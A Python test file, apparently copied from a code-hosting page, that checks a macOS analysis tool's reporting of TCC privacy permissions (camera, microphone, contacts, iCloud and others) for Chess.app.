def test_tcc_sysadmin(self):
|
||||
'''Test the --tcc_sysadmin flag for System Policy SysAdmin Files TCC permission'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_sysadmin']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'SysAdmin Files Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_location(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_location']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Location Services Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_desktop(self):
|
||||
'''Test the --tcc_desktop flag for Desktop Folder permission'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_desktop']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Desktop Folder Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_documents(self):
|
||||
'''Test the --tcc_documents flag for Documents Folder permission'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_documents']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Documents Folder Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_downloads(self):
|
||||
'''Test the --tcc_downloads flag for Downloads Folder permission'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_downloads']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Downloads Folder Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_photos(self):
|
||||
'''Test the --tcc_photos flag for Photos Library access'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_photos']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Photos Library Access:' in uroboros_output
|
||||
|
||||
def test_tcc_contacts(self):
|
||||
'''Test the --tcc_contacts flag for Contacts access'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_contacts']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Contacts Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_calendar(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_calendar']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Calendar Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_camera(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_camera']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Camera Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_microphone(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_microphone']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Microphone Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_recording(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_recording']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Screen Recording Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_accessibility(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_accessibility']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Accessibility Access: False' in uroboros_output
|
||||
|
||||
def test_tcc_icloud(self):
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_icloud']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'iCloud Access: False' in uroboros_output
|
||||
|
||||
|
||||
Reference in New Issue
Block a user